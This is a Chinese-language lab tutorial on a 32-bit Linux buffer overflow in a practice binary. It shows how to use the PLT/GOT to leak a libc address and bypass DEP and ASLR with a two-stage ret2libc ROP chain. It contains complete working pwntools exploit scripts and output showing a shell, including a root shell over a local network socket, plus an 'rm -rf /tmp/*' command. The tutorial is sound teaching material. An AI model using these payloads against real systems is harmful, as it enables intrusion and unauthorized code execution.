一
准备工作
打开ASLR和DEP保护。
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
启用DEP保护，gcc编译时去掉-z execstack选项即可。
gcc -m32 -fno-stack-protector -o level3 level3.c
随机化的基地址
以下是多次运行level3时的maps情况。
第一次
$ cat /proc/22020/maps
56652000-56653000 r--p 00000000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
56653000-56654000 r-xp 00001000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
56654000-56655000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
56655000-56656000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
56656000-56657000 rw-p 00003000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
f7c00000-f7c20000 r--p 00000000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7c20000-f7da2000 r-xp 00020000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7da2000-f7e27000 r--p 001a2000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e27000-f7e28000 ---p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e28000-f7e2a000 r--p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e2a000-f7e2b000 rw-p 00229000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
第二次
$ cat /proc/21900/maps
5659c000-5659d000 r--p 00000000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
5659d000-5659e000 r-xp 00001000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
5659e000-5659f000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
5659f000-565a0000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
565a0000-565a1000 rw-p 00003000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3
f7c00000-f7c20000 r--p 00000000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7c20000-f7da2000 r-xp 00020000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7da2000-f7e27000 r--p 001a2000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e27000-f7e28000 ---p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e28000-f7e2a000 r--p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
f7e2a000-f7e2b000 rw-p 00229000 08:03 5117709 /usr/lib/i386-linux-gnu/libc.so.6
时过境迁当年参考文章是14年左右制作的有些情况有所不同，可以看出在x64的32位进程的随机化和参考上的正好相反，程序地址随机化了而libc确实固定的，我猜测应该是x64环境的问题。
而x64版本下确截然不同。
第一次
$ cat /proc/22133/maps
563a0f3e5000-563a0f3e6000 r--p 00000000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
563a0f3e6000-563a0f3e7000 r-xp 00001000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
563a0f3e7000-563a0f3e8000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
563a0f3e8000-563a0f3e9000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
563a0f3e9000-563a0f3ea000 rw-p 00003000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
7f7f27e00000-7f7f27e28000 r--p 00000000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f7f27e28000-7f7f27fbd000 r-xp 00028000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f7f27fbd000-7f7f28015000 r--p 001bd000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f7f28015000-7f7f28019000 r--p 00214000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f7f28019000-7f7f2801b000 rw-p 00218000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
第二次
$ cat /proc/22240/maps
564fb2efa000-564fb2efb000 r--p 00000000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
564fb2efb000-564fb2efc000 r-xp 00001000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
564fb2efc000-564fb2efd000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
564fb2efd000-564fb2efe000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
564fb2efe000-564fb2eff000 rw-p 00003000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3
7f0218800000-7f0218828000 r--p 00000000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f0218828000-7f02189bd000 r-xp 00028000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f02189bd000-7f0218a15000 r--p 001bd000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f0218a15000-7f0218a19000 r--p 00214000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
7f0218a19000-7f0218a1b000 rw-p 00218000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc.so.6
可以看出x64版本的程序，程序本身和libc都随机化了。
如果想上面32位程序地址随机，而libc不随机化，这个情况用level2的pwn完全可以利用。
二
信息泄漏
固定的程序基地址
通过以上分析和实验，证实了程序本身的基地址是也是随机化的。
为了得到固定的基地址，这里从gcc编译器下手。
gcc -m32 -Wl,-Ttext-segment=0x08000000 -fno-stack-protector -o level3 level3.c
这样程序就有了一个固定的基地址了。
如下：
0x08000000 0x08001000 r--p /home/dbg/Desktop/rop/level3/level3
0x08001000 0x08002000 r-xp /home/dbg/Desktop/rop/level3/level3
0x08002000 0x08003000 r--p /home/dbg/Desktop/rop/level3/level3
0x08003000 0x08004000 r--p /home/dbg/Desktop/rop/level3/level3
0x08004000 0x08005000 rw-p /home/dbg/Desktop/rop/level3/level3
有了固定的基地址我们就有了参照。从程序本身着手来泄漏出一些信息；
因为libc基地址也是固定的，这里我们还要假象libc地址是随机的。
这里还是要找到system函数地址和”/bin/sh”的内存地址，然后就是ret2libc技术了，要想找到关键的地址首先要确定libc的基地址，然后根据偏移动态的计算这些地址。那么如何泄露出libc的地址呢？
PLT 和 GOT
其实就是动态链接技术，就像程序需要依赖系统动态链接库一样。windows通过导入表来描述用到的系统API，而linux则是通过PLT和GOT来实现动态链接。
详细细节可以参考动态链接中PLT与GOT工作流程。（https://www.openeuler.org/zh/blog/lijiajie128/2020-11-10-%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E4%B8%AD%E7%9A%84PLT%E4%B8%8EGOT.html）
查看PLT表
命令：
objdump -d -j .plt level3
└─# objdump -d -j .plt level3
level3: file format elf32-i386
Disassembly of section .plt:
08001030 <__libc_start_main@plt-0x10>:
8001030: ff b3 04 00 00 00 push 0x4(%ebx)
8001036: ff a3 08 00 00 00 jmp *0x8(%ebx)
800103c: 00 00 add %al,(%eax)
...
08001040 <__libc_start_main@plt>:
8001040: ff a3 0c 00 00 00 jmp *0xc(%ebx)
8001046: 68 00 00 00 00 push $0x0
800104b: e9 e0 ff ff ff jmp 8001030 <_init+0x30>
08001050 <read@plt>:
8001050: ff a3 10 00 00 00 jmp *0x10(%ebx)
8001056: 68 08 00 00 00 push $0x8
800105b: e9 d0 ff ff ff jmp 8001030 <_init+0x30>
08001060 <write@plt>:
8001060: ff a3 14 00 00 00 jmp *0x14(%ebx)
8001066: 68 10 00 00 00 push $0x10
800106b: e9 c0 ff ff ff jmp 8001030 <_init+0x30>
查看GOT表
命令：
objdump -R level3
└─# objdump -R level3
level3: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08003ed4 R_386_RELATIVE *ABS*
08003ed8 R_386_RELATIVE *ABS*
08003ff8 R_386_RELATIVE *ABS*
08004004 R_386_RELATIVE *ABS*
08003fec R_386_GLOB_DAT _ITM_deregisterTMCloneTable@Base
08003ff0 R_386_GLOB_DAT __cxa_finalize@GLIBC_2.1.3
08003ff4 R_386_GLOB_DAT __gmon_start__@Base
08003ffc R_386_GLOB_DAT _ITM_registerTMCloneTable@Base
08003fe0 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.34
08003fe4 R_386_JUMP_SLOT read@GLIBC_2.0
08003fe8 R_386_JUMP_SLOT write@GLIBC_2.0
write的动态调用过程
程序如何调用libc中的函数。
例如调用write函数
0x8001206 <main+36>: lea eax,[ebx-0x1fcc]
0x800120c <main+42>: push eax
0x800120d <main+43>: push 0x1
=> 0x800120f <main+45>: call 0x8001060 <write@plt>
0x8001214 <main+50>: add esp,0x10
0x8001217 <main+53>: mov eax,0x0
0x800121c <main+58>: lea esp,[ebp-0x8]
0x800121f <main+61>: pop ecx
当调用write函数时，现call <write@plt>
<main+45>: call 0x8001060 <write@plt>
在看一看 0x8001060 具体实现,命令行disassemble 0x8001060
gdb-peda$ disassemble 0x8001060
Dump of assembler code for function write@plt:
0x08001060 <+0>: jmp DWORD PTR [ebx+0x14]
0x08001066 <+6>: push 0x10
0x0800106b <+11>: jmp 0x8001030
End of assembler dump.
可以看出是取了某个直然后跳转。接下来看看这个直是个啥。
gdb-peda$ p /x $ebx+0x14
$1 = 0x8003fe8
gdb-peda$ x /4xw $1
0x8003fe8 <[email protected]>: 0xf7d0a270 0x00000000 0xf7c3a760 0x00000000
gdb-peda$ disassemble 0xf7d0a270
Dump of assembler code for function __GI___libc_write:
0xf7d0a270 <+0>: endbr32
0xf7d0a274 <+4>: push edi
0xf7d0a275 <+5>: push esi
0xf7d0a276 <+6>: call 0xf7d71e35 <__x86.get_pc_thunk.si>
0xf7d0a27b <+11>: add esi,0x11fd85
通过以上几步操作，可以确定最终执行了__GI___libc_write函数。
原理
◆首先是完成信息泄漏，来泄漏某些libc的函数地址。
◆根据libc文件中函数的偏移，间接确定libc在内存中的基地址。
◆根据libc的地址，算出system函数和’/bin/sh’字符串的地址；接下来就降维到level2的ret2libc的利用了。
内存泄漏实现
我们通过观察有个wrtie函数，我们代码中也能看到，这个函数可以输出到标准输出，可以打印出来。
利用write的输出功能可以将某些函数的地址泄漏出来。
泄漏初试
已知程序基地址固定，PLT和GOT表的偏移固定，利用PLT中的write函数将系统libc中的函数地址打印出来。这里可选择 read printf write 。我选择write。
# 08001060 <write@plt>:
# 8001060: ff a3 14 00 00 00 jmp *0x14(%ebx)
# 8001066: 68 10 00 00 00 push $0x10
# 800106b: e9 c0 ff ff ff jmp 8001030 <_init+0x30>
# 上面还要关注以下ebx的来源。
plt_write = 0x08001060
# 0x8003fe8 <[email protected]>: 0xf7d0a270 0x00000000 0xf7c3a760 0x00000000
got_write = 0x8003fe8
# 0x80011ad <vulnerable_function>: push ebp
vul = 0x80011ad
# write(STDOUT_FILENO, "Hello, Worldn", 13); 还得注意write的函数约定
通过以上的信息收集我们已经获取了几个关键直然后拼接payload。
有人会问这里还要用vul地址吗？
泄漏完数据了，还要再次触发有漏洞的函数才能继续接受第二阶段的payload最终执行bin/sh。
所以要作为write函数的返回地址，再次。
payload = 'A' * 140 + p32(plt_write) + p32(vul) + p32(1) + p32(got_write) + p32(4)
测试代码如下：
from pwn import *
vul = 0x80011ad
plt_write = 0x08001060
got_write = 0x08003fe8
p = process('./level3')
payload = 'A' * 140 + p32(plt_write) + p32(vul) + p32(1) + p32(got_write) + p32(4)
p.send(payload)
write_addr = u32(p.recv(4,300))
print ('write_addr=' + hex(write_addr))
发现无法获取到泄漏的的数据，应该是payload没有正常执行，测试如下：
[+] Starting local process './level3': pid 25302
Traceback (most recent call last):
File "level3-pwn.py", line 17, in <module>
write_addr = u32(p.recv(4,300))
修正plt跳转中的ebx(ptl_table)
老办法core dump。
ulimit -s unlimited#不限制dump大小。
sudo -s
echo '/tmp/core.%t' > /proc/sys/kernel/core_pattern #设置core dump文件路径格式
rm -rf /tmp/* #清空下tmp
再次执行pwn，报错产生dump文件。
gdb 带dump文件调试level3
┌── dbg @ dbg-pro in ~/Desktop/rop/level3 [8:48:19] C:1
└─# gdb -q -ex init-peda "$@" ./level3 /tmp/core.1699926499.25606
Reading symbols from ./level3...
(No debugging symbols found in ./level3)
[New LWP 25606]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `./level3'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x08001060 in write@plt ()
gdb-peda$
通过gdb调试发现是执行到0x08001060 in write@plt ()出问题了。
gdb-peda$ disassemble 0x08001060
Dump of assembler code for function write@plt:
=> 0x08001060 <+0>: jmp DWORD PTR [ebx+0x14]
0x08001066 <+6>: push 0x10
0x0800106b <+11>: jmp 0x8001030
End of assembler dump.
gdb-peda$ p /x $ebx
$1 = 0x41414141
gdb-peda$
通过观察read的调用和write的调用，这个ebx应该是某个表的地址，这里我叫他plt table。
可以看到应该是jmp DWORD PTR [ebx+0x14]这一步时，取函数地址时，ebx的直不对，造成了读取错误，程序崩溃。
既然ebx不对，并且是0x41414141，也就是‘AAAA’,看来是可控的，如果修正到正确直应该就能解决问题。
下面来看看vul函数的结束位置，ebx如何赋值的。
0x80011dd <vulnerable_function+48>: mov ebx,DWORD PTR [ebp-0x4]
=> 0x80011e0 <vulnerable_function+51>: leave
0x80011e1 <vulnerable_function+52>: ret
从栈中ebp-0x4取值，看看这个位置具体地址，然后计算和ret的偏移。
gdb-peda$ p /x $ebp-0x04
$3 = 0xffffd074
上面是plt_table在栈中的位置。
=> 0x80011e1 <vulnerable_function+52>: ret
0x80011e2 <main>: lea ecx,[esp+0x4]
0x80011e6 <main+4>: and esp,0xfffffff0
0x80011e9 <main+7>: push DWORD PTR [ecx-0x4]
0x80011ec <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd07c --> 0x8001201 (<main+31>: sub esp,0x4)
这是ret在栈的位置。0000| 0xffffd07c
gdb-peda$ p /x 0xffffd07c - 0xffffd074
$4 = 0x8
偏移为 8。
获取ebx(plt_table)的地址。0x8003fd4
gdb-peda$ p $ebx
$2 = 0x8003fd4
再次泄漏
通过上面的调试，得知了plt_table的重要性，下面对payload进行调整。
测试pwn代码如下：
#!python
#!/usr/bin/env python
from pwn import *
vul = 0x080011ad
plt_write = 0x08001060
got_write = 0x08003fe8
plt_tab = 0x08003fd4
p = process('./level3')
payload = 'A' * (140 - 8) + p32(plt_tab) + 'A' * 4 + p32(plt_write) + p32(vul) + p32(1) + p32(got_write) + p32(4)
p.send(payload)
write_addr = u32(p.recv(4,300))
print ('write_addr=' + hex(write_addr))
测试结果
└─# python2 level3-pwn.py
[+] Starting local process './level3': pid 26292
write_addr=0xf7d0a270
[*] Stopped process './level3' (pid 26292)
计算system函数和’/bin/sh’字符串地址
既然知道了 write函数在内存中的位置，本地的libc文件也有，那么就可以计算这些地址了。
把libc文件copy到当前文件夹。
┌── dbg @ dbg-pro in ~/Desktop/rop/level3 [9:23:17]
└─# ldd level3
linux-gate.so.1 (0xf7f21000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7c00000)
/lib/ld-linux.so.2 (0xf7f23000)
┌── dbg @ dbg-pro in ~/Desktop/rop/level3 [9:23:25]
└─# cp /lib/i386-linux-gnu/libc.so.6 ./
计算地址方法如下：
libc = ELF('libc.so.6')
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print ('system_addr= ' + hex(system_addr))
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print ('binsh_addr= ' + hex(binsh_addr))
有了这些信息，第二阶的payload和利用技术ret2lib，就和level2的一样了，这里就不赘述了。直接看pwn代码。
#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so.6')
paddr = 0x08000000 #
print("addr :" + hex(paddr) )
vul = 0x080011ad
print("vul :" + hex(vul))
plt_write = 0x08001060
print("plt_write :" + hex(plt_write))
got_write = 0x08003fe8
print("got_write :" + hex(got_write))
plt_tab = 0x08003fd4
print("plt_table :" + hex(plt_tab))
payload = 'A' * (140 - 8) + p32(plt_tab) + 'B' * 4 + p32(plt_write) + p32(vul) + p32(1) + p32(got_write) + p32(4)
#p = remote('127.0.0.1',10001)
p = process('./level3')
print("#### send payload 1")
p.send(payload)
print("#### recv write addr ...")
write_addr = u32(p.recv(4,300))
print ('write_addr=' + hex(write_addr))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print ('system_addr= ' + hex(system_addr))
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print ('binsh_addr= ' + hex(binsh_addr))
payload2 = 'a'*140 + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
print ("n###sending payload2 ...###")
p.send(payload2)
p.interactive()
测试如下：
┌── dbg @ dbg-pro in ~/Desktop/rop/level3 [9:33:01]
└─# python2 level3-pwn.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/dbg/Desktop/rop/level3/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
addr :0x8000000
vul :0x80011ad
plt_write :0x8001060
got_write :0x8003fe8
plt_table :0x8003fd4
[+] Starting local process './level3': pid 26763
#### send payload 1
#### recv write addr ...
write_addr=0xf7d0a270
system_addr= 0xf7c48170
binsh_addr= 0xf7dbd0f5
###sending payload2 ...###
[*] Switching to interactive mode
$ id
uid=1000(dbg) gid=1000(dbg) groups=1000(dbg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$ whoami
dbg
$ q
/bin/sh: 3: q: not found
$
代码稍作修改远程利用也不再话下！
[+] Opening connection to 127.0.0.1 on port 10001: Done
#### send payload 1
#### recv write addr ...
write_addr=0xf7d0a270
system_addr= 0xf7c48170
binsh_addr= 0xf7dbd0f5
###sending payload2 ...###
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$
参考
郑敏老师的文章：《一步一步学ROP之linux_x86篇》https://zhuanlan.kanxue.com/article-13320.htm
看雪ID：zhenwo
https://bbs.kanxue.com/user-home-396123.htm
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原文始发于微信公众号（看雪学苑）：《linux x86 缓冲区溢出》level3：简单的缓冲区溢出，通过ROP绕过DEP和ASLR防护
